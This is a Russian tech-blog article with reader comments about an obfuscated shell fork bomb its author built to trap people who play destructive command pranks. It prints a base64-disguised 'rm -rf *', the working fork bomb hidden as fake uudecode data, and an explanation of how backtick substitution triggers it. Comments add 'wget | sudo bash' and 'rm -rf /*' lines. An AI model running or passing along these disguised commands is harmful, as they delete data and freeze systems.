Сразу предупреждаю: не копируйте примеры кода из этой статьи и не запускайте их в своей командной оболочке.Есть люди, которые развлекают себя жестокими шутками над новичками, обманом подводя их к запуску разрушительных инструкций в командной оболочке.
Часто это принимает форму грубо замаскированных команд, вроде той, что показана ниже. Её запуск приведёт к выполнению в текущей директории команды
rm -rf *
, которая всё удалит. Вот эта команда:$(echo cm0gLXJmICoK | base64 -d)
Много лет назад я наткнулся на людей, которые играли в такие игры, и решил их проучить.
Я не докатился ещё до того, чтобы обманом заставлять кого-то удалять его файлы. Но мне более чем хотелось помочь доморощенным хакерам самим себя подорвать на форк-бомбе.
Я так спроектировал форк-бомбу, что даже когда некто знает о том, что перед ним — деструктивная команда, он её, всё равно, запустит! Я понимаю, что и у вас может возникнуть желание это запустить, но, всё равно, привожу тут код моей бомбы:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Выглядит это всё как очередная грубо замаскированная опасная команда, но, на самом деле, это не так. Я не пытаюсь играть на знании того факта, что доверчивые новички часто запускают команды, которые им непонятны.
Вместо этого моё изобретение направлено на людей, которые знакомы с подобными фокусами, на тех, кто знает, что эта команда должна превратиться в нечто разрушительное. Здесь я спекулирую на любопытстве таких людей, и на том, что им нравятся инструменты, способные навлечь на кого-то неприятности.
Такой человек, когда ему попадётся команда, о которой мы говорили в самом начале
($(echo cm0gLXJmICoK | base64 -d)
), решит исследовать её и убрать из неё конструкцию $(..)
для того чтобы узнать о том, чем же именно эта команда поразит жертву. Получится у него следующее:$ echo cm0gLXJmICoK | base64 -d
rm -rf *
А что если он сделает то же самое с командой
eval $(echo «I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==» | uudecode)
, надеясь узреть то страшное, что случится с новичком, которому хватило глупости её запустить?echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Тот, кто запустит такую команду, внезапно осознает, что его система работает всё медленнее и медленнее. А потом, когда она будет уже практически полностью обездвижена, система уйдёт в вынужденную перезагрузку. Тогда окажется, что именно этот любитель гадостей и был всё время одним из тех новичков, над которыми издеваются такие вот «любители».
Как видите, именно команда
eval
(…драматическая пауза…) сыграла роль обманки.На самом деле, и
uudecode
, и echo
и $(..)
— все эти конструкции играют свою роль в моём представлении. Они призваны отвлекать внимание, не неся никакой функциональной нагрузки.Для того чтобы бомба взорвалась, не нужно ничего декодировать, выполнять или вычислять. Вся сила моей бомбы основана на простом раскрытии следующего аргумента в любом контексте:
"I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=="
И даже большая часть этой строки присутствует в ней только для вида, для того чтобы всё это было больше похоже на UUE-данные. Вот — та же строка, «маскировочные» символы которой заменены на знаки подчёркивания:
"____________`_____&r()(____&r{,______}&r{,_____});r`_________"
А вот — то же самое, но записанное немного более понятно:
" `r() ( r & r ); r` "
Перед нами — самая обычная форк-бомба, работающая благодаря механизму раскрытия команд.
Я создал эту ловушку не сразу, постепенно доводя её до состояния, которое меня устроило.
Вот её первый вариант:
eval $(echo 'a2Vrf3xvcml'\ZW%3t`r()(r|r);r`2'6a2VrZQo=' | base64 -d)
В целом это — то же самое, но тут имеются несколько проблем:
- Многие довольно хорошо знакомы с кодировкой base64. Вполне очевидно то, что данные, которые тут имеются, представлены не в этой кодировке.
- Расстановка кавычек недвусмысленно указывает на то, где именно начинается и заканчивается строка, ради которой и создавалась вся эта конструкция.
- Форк-бомба, представленная конструкцией
r()(r|r);r
, прямо-таки бросается в глаза.
В кодировке base64 используются почти исключительно алфавитно-цифровые символы, например —
bW9yZSBnYXJiYWdlIGhlcmUK
, а UUE-данные (это — если кто-то вообще может вспомнить то, как они выглядят) представляют собой набор самых разных символов, среди которых можно хорошо спрятать встроенный в них shell-код: 1<V]M92!G87)B86=E(&AE<F4`
. Я, используя соответствующие символы, разбил на части длинные бредовые строки, выглядящие как данные в кодировке base64.Если говорить о кавычках, то я поместил в строку простые двойные кавычки, надеясь, что никто не обратит внимание на подозрительные символы, помещённые в интерполированную строку.
А вот в том, что касается кода самой бомбы, мне хотелось найти способ внести в строку больше бессмыслицы, но при этом не добавлять в неё пробелов, которые привлекают внимание. Удлинение строки
r
позволило бы добиться желаемого, но тогда заметным бы стало повторение символов.Вариант улучшения первоначального кода, на котором я остановился, заключался в использовании механизма раскрытия скобок. Так,
foo.{jpg,png}
раскрывается в foo.jpg foo.png
, а r{,foo}
раскрывается в r foo
. Такая конструкция позволяет вызвать r
с аргументом, игнорируемым функцией.Вторая версия моего проекта выглядела так:
eval $(echo "I<RA('1E<W3t`p&r()(rofl&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
В основе этого кода лежала идея, в соответствии с которой команда
rofl
будет выполняться для каждого форка, чтобы было ещё веселее, заполняя экран сообщениями rofl: command not found
, но я понял, что наличие в коде некоего заметного слова может привлечь внимание жертвы и привести к дальнейшим исследованиям кода бомбы.В итоге я пришёл к финальной версии моего кода, который оказался достаточно эффективным. Несколько человек, занимающихся «охотой» на новичков, смущённо признались в том, что попались на мою удочку.
Я, в сущности, обо всём этом забыл, но вот другие люди, очевидно, не забыли о моей форк-бомбе. Примерно через год после её создания вопрос о ней всплыл на SuperUser. Там, кстати, её код проанализировали ещё лучше, чем это сделал я. Ну а теперь вы, если тоже интересовались этим кодом, знаете о том, откуда он взялся.
Сталкивались ли вы с форк-бомбами?
dmitriylyalyuev
Те, кто знает формат uue сразу заподозрит неладное. Так же, как и с base64.
Sly_tom_cat
Только вот тех кто знает про base64 в сотни или даже тысячи раз больше тех кто знает uue.
ReaderReader
Поколение ФИДО не такое уж и маленькое: в конце 90-х в России еще было полно активных нод. Сомневаюсь, что разница в 3 порядка.
merlin-vrn
Разница даже больше.
ReaderReader
Предлагаю перейти от обоюдных удтверждений а-ля «нутром чую» («Они не смогли ответить на вопрос Корнеева, каков физический смысл понятий „нутро“ и „чуять“, но подчеркнули, что Янус сам по себе представляет любопытнейший объект для исследования и что яблочко от яблони далеко не падает.» (с)) к реальным цифрам :) Для начала определимся с возрастом. В 1999 году в Москве еще было полно реально работающих нод, а к 2010 я о них уже не слышал. Далее волюнтаристки возьмем нижний возраст в 15 лет. Иными словами считаем, что если человек пришел в ФИДО в возрасте 15 лет и старше, то он помнит о UUEEncode / UUEDecode
и даже как скачать видео в UUE на скорости 14400 через HST, а если младше или вообще не был в ФИДО, то не помнит. Соответственно тем, кому в 2000 было 15 лет, сегодня 36 лет и более, и они знают о UUE, те кто младше, не знают.Теперь нам нужны данные по возрасту. И они у нас есть! Не конкретно по России, но есть. Вот здесь в исследовании участника Хабра приведена возрастная статистика StackOverflow
habr.com/ru/post/121830
А здесь сырые данные, на которых базируется исследование (линк из статьи)
spreadsheets.google.com/a/knego.net/spreadsheet/ccc?pli=1&hl=en_GB&key=tMbiortRI3It3qCitDBZEvA&hl=en_GB#gid=2
90-летних айтишников в количестве 34 штук отбрасываем как нерелевантную величину. Скорее всего это те, кто не захотел указывать свой возраст. Далее просто суммируем возраст из таблицы до 36 лет и после 36 лет. Получаем:
— количество участников младше 36 лет — 35929
— количество участников старше 36 лет — 1185
Разница, соответственно, в 30.31 раза. Т.е. меньше чем на два порядка. Да, много, но ни о какой разнице в сотни, а тем более тысячи и более (как вы удтверждаете) раз речь не идет.
x86d0cent
Я вот о uue в общем-то знаю, и помню, что лет 15 назад что-то ююками получал и как-то их раскодировал. Но вот какие там допустимы символы — понятия не имею. В то же время с base64 все проще: буквы + цифры — это 62 символа. Даже с учетом того, что я опять же не помню все вариации base64 и то, какие именно там символы допустимы, все равно легко можно понять, что если в строке более двух других символов (помимо буквоцифр), то это не base64.
ReaderReader
Я, вероятно, не совсем понятно сформулировал. Под «Знает UUE» я понимаю, что человек знает о таком способе кодировки и понимает, что под внешне непонятной абракадаброй кроется что-то осмысленное. Не конкретные детали стандарта UUE, а, что если такой человек видит абракадабру и рядом буквы UUE, то у него возникнет идея, что это что-то в UUE кодировке, и это надо раскодировать. Если же человек не имеет представления о UUE, то скрытом за абаракадаброй значении он не подозревает, и далее все будет развиваться по запланированному автором статьи сценарию. Поскольку в ФИДО UUE было основным способом передачи бинарников через сообщения, я сделал допущение, что те, кто там был, о UUE точно знают, а те кто там не был, вероятно не знают. Далее я просто посмотрел распределение тех, кто был по возрасту в ФИДО, и кого там не было. Соотвественно получилось соотношение количества тех, кто не поймет, в чем тут подвох, к количеству тех, кто поймет, в чем тут дело.
x86d0cent
alexeyrom
А заодно сделали допущение, что 100% подходящих по возрасту людей были в ФИДО (я подхожу, но не был).
YouROK
Я почти подхожу, но про фидо только слышал, мой отец точно подходит под фидо, но он скорее всего даже не слышал. Хотя с компьютером почти с рождения общаюсь
SergeyUstinov
Я подхожу по возрасту, был в ФИДО, но про UUE если и знал, то к текущему времени напрочь забыл о его существовании.
Хотя 2:461/91.20 накрепко засело в памяти. :))
tommyangelo27
Аналогично, по возрасту подхожу, но про ФИДО узнал году в 2008, а про UUE из этой статьи.
dlinyj
Я тоже ;).
Andy_U
2:5030/36.20, 2:5030/435
DistortNeo
У меня, например, не было ни телефона, ни компьютера в те времена.
А когда всё это появилось (2001 год), то был уже модемный интернет.
Exchan-ge
У меня есть знакомый айтишник-железячник 70 с лишним лет от роду.
И он все еще продолжает активно работать.
В свое время он был молодым специалистом и у него были наставники из предыдущего поколения :)
alexeyrom
Так дело как раз в том, что 70-летние, 71-летние и так далее там есть, но <10 человек каждого возраста (последний, где больше, это 61). А потом 34 90-летних и 139 91-летних.
Exchan-ge
Я имел в виду, что 90 -летние атишники вполне могут существовать, так как им в 50х было всего по 20...30 лет.
alexeyrom
Конечно, могут. Но в той базе их должно быть 1-2, в крайнем случае 5-6. Т.е. строго говоря отбросив их всех, автор комментария неправ, но большую часть отбросить нужно.
DaneSoul
Я вот во второй категории, почти 40, но о ФИДО только слышал, в живую никогда не видел.
И из моих знакомых ровесников лично ни от кого не слышал, чтобы он пользовался ФИДО.
Source
Мне в 2000 было 14 лет. И из моих одноклассников компьютеры были у 3 человек из 30, не говоря уж про интернет. Его тогда не было у большинства из тех, у кого были компьютеры. Так что ваш результат можно спокойно умножать на 30, не погрешив против истины. Потому что в те годы компьютер был роскошью, и чисто по возрасту считать некорректно.
Areso
Ну, ФИДО !== Интернет, но тут такое дело…
В целом, для ФИДО желательна была всё-таки линия связи (впрочем, без неё тоже можно было, но уже в формате извращений), а с телефонными линиями тогда тоже были проблемы.
Это сейчас за день придут Интернет подключат, а тогда годами ждали очереди на подвод телефонной линии от АТСки, и хорошо если она была не блокированная с соседями по площадке (которые тоже стояли в очереди).
Source
Было дело, у меня родители около 10 лет стояли в очередь на телефон. Причём подключали его платно и стоило это довольно дорого (что-то порядка нескольких месячных зарплат).
Я к тому, что надо не только популяцию считать, но и учитывать крайне низкое проникновение компьютерных технологий в то время. Доступность сильно возросла где-то к 2005 году, но тогда уже были в моде ICQ, веб-чаты, форумы.
saboteur_kiev
Для интернета тогда тоже нужна была линия связи. Интернет у подавляющего большинства в около 2000 годах был диалап
saboteur_kiev
Вот только ФИДО в России появилось позже, чем зарубежом. И история немного отличается из-за факторов более серьезного отношения к легальности софта ранней монетизации различных сервисов (что у нас началось гораздо позже), поэтому переходили дольше и могли знать больше.
Sly_tom_cat
Сколько там было народу в том ФИДО?
Я, например, прошел мимо ФИДО стороной и почти не заметил, хотя еще в 1988
собралспаял свой первый компьютер и от ИТ тематики не отходил до сего момента.А вот «молодежи» 2000+ сейчас в сети и тут на хабре — уже огромные толпы.
lionsitroen
Напомнило анонсы в ФИДО: "Собирайтесь дети в кучу, я вам чучу заюючу"
slawdos
Нод и сейчас довольно много. ФИДО живо!
Andre_487
Я вот только после этой статьи узнал, что есть такой формат
Кстати исследовать команду пробовал, но лениво. Я обычно догадываюсь, что обманка может быть с двойным дном и обычно не запускаю ничего на полезных машинах. Вот сейчас попробовал раскодировать в онлайн-декодере. Но UUE оказался невалидный, и я решил читать статью дальше :)
Надо подумать, можно ли как-то пошутить над теми, кто раскодирует онлайн…
maquefel
То есть наличие eval вас не смущает ?
dmitryredkin
Если вы читали статью, то должны понимать, что eval тут просто в качестве наживки, а бомба заключается в наличии символов ` ` внутри строки аргумента.
staticmain
Бывают и такие люди которые делают
wget xxx | bash
Tamahome
и они называют это devops
Dgolubetd
Если это с проверенного сайта, то да.
Или по вашему я должен параноидально проверять каждый установочный скрипт?
Areso
ну, прочесть содержимое и/или запустить на виртуалке не помешает.
zorn-v1
А если не понимаешь "эту тарабарщину", а софт нужен?
Что запуск в виртуалке покажет? Писюны на всю консоль что ли ?
LynXzp
А чем это отличается от запуска программы без исходников? Или даже программы с исходниками, но которые вы не читали?
Areso
Потому что программы появляются не из ниоткуда. Скажем, репозиторий дистрибутива содержит программы, проверенные мейнтейнерами.
Другое дело скрипт, который непонятно кем и как написан и где выложен.
Artyomcool
Поэтому предыдущий комментатор и сказал — с проверенного сайта. Разницы абсолютно никакой. Плюс, спрятать в shell-скрипте что-то вредоносное тривиально, а обнаружить это — совершенно нет.
CherryPah
Ну вот недавняя статья
habr.com/ru/company/macloud/blog/551990
Все 7 инсталлов предлагают загрузить мне некий sh и запустить его от рута.
Казалось бы, проверь домен, и если ты ему доверяешь — то все ок.
Проблема в том что в 6 из 7 случаев скрипт предлагалось грузить через голый http.
В общем страдает тут безопасность, даже при FQDN, которому вроде как можно доверять
Artyomcool
Всё верно. Но всегда, в любом случае, всё сведется к доверию истончику. Я бы не доверял источнику с http)
ratijas
Разница — в проверке подписей при установке из репозиториев. И это ключевое отличие.
Artyomcool
Не особо. Авторство даёт очень мало гарантий. Вы не знаете как этот бинарник собирался (привет магический CI). Слово «сайт» очевидно подразумевает не домен, и его следовало бы заменить на «источник».
tmin10
Если это инструкция установки с офф сайта, разве есть разница в выполнении этого или скачке бинарника? В обоих случаях то, что происходит не совсем контролируемо.
Oxyd
Уж колько раз бывали взломаны всякие «проверенные сайты™». Нет. Народ жизнь видимо не учит.
Ctacfs
Раз взломаны были, значит могли и бинарники подменить, и в исходники влезть, и сертификаты угнать. Так что срочно форматировать диск, перечитывать исходники и собирать все с нуля от начала и до конца, никакого доверия.
Artyomcool
Компилятор, очевидно надо тоже писать самому. И в процессорах тоже существуют проблемы разного характера, так что луче бы кремний самостоятельно добыть, очистить и т.д.
anton0xf
Вы, вероятно, про Thompson Hack
zorn-v1
А еще есть люди которые запускают (О БОЖЕ) exe скачанные с "яндекса" по ссылке "бесплатно без смс".
ToSHiC
Нет, ну что вы, так же ничего не получится. Правильно так:
wget xxx | sudo bash
Andre_487
Так конечно же тоже не сработает. Это же wget, он не передаёт файл в пайп, а сохраняет на диск. При этом текущий каталог может быть запрещён для записи, а сохранённый файл не будет иметь правильных атрибутов для запуска
Вот так правильно:
Но на этом проблемы могут не закончиться. Бывает ведь что при подключении к хосту выскакивает надоедливая ошибка про невалидный TLS сертификат. Поэтому совсем надёжным будет такой способ запуска программы установки:
Нам некогда тратить время на глупости вроде изучения контента скриптов или исследование проблем с TLS, поэтому нужно заранее учесть все возможные проблемы
Scinolim
Когда у вас весь рабочий хард бекапится каждую ночь, можно что угодно запускать и как угодно. И вообще цена любой ошибки максимум пара часов.
staticmain
На современных линуксах systemd маунтит прошивку биоса как часть файловой системы. Из-за чего rm -rf /* сделает из вашего компьютера тыкву.
cbelkin
Скорее всего вы что-то путаете.
Файлы прошивки BIOS не должны монтироваться, более того это адресное пространство должно быть недоступно в пространстве пользователя операционной системы.
Возможно вы имели ввиду монтирование переменных EFI в директорию sys. Но тут тоже, согласно UEFI спецификации, затирание этих переменных не должно быть критическим и при следующем запуске должны установиться значения по умолчанию.
Я в курсе, что был какой-то случай на компьютерах MSI, когда затирание переменных EFI приводило к краху, но это частный случай и ошибка разработчиков прошивок для компьютеров MSI.
Но мне кажется, что вышеобозначеная команда даже не дойдёт до директории sys, а споткнётся о невозможности удалить белочные устройства в /dev. Кроме этого может рано или поздно возникнуть ошибка ядра и далее не удасться породить новый процесс. Дальше только hard reset.
Поэтому ничего опасного, кроме удаления пользовательских файлов эта команда делать не должна.
staticmain
Да, за давностью лет уже запамятовал конкретику. В любом случае rm -rf людям кирпичил ноутбуки:
github.com/systemd/systemd/issues/2402
Arqwer
Ну и ещё всякая мелочь, типа денег со счёта банка, данные карточек, и прочие безделушки :)
Andre_487
Это очень удобно, кстати. Особенно для скриптов, устанавливающих в систему ноду ботнета, например. Будет бекапиться каждую ночь и восстановится если какой-то шутник вдруг пришлёт очередной
rm -rf /*
symbix
Даже зная про ююки,
'
с`
можно по невнимательности и попутать. А если не попутал, то и про ююки можно не знать :)dmitriylyalyuev
Какие это трюки? Штатные вещи ж абсолютно. Любой админ это знает.
Mingun
Сразу видно человека, не заставшего UUE :)
symbix
Не трюки, а ююки! ;)
saboteur_kiev
Так в том-то и дело, что там не в UUE и не в base64 дело, это все обманка.
Весь секрет в ``
symbix
Да понятное дело. Обманка с UUE, потому что base64 со спецсимволами — это сразу очевидная какая-то фигня, а в UUE их полно, особых подозрений с первого взгляда не вызывает. Да и
`
в UUE иногда может быть как padding. Тем более, что UUE сейчас видишь редко — начинаешь вспоминать, ага, вот там такое может быть, и размышляя про uue можно и забыть про бэктики в контексте шелла. Социнжиниринг этакий :)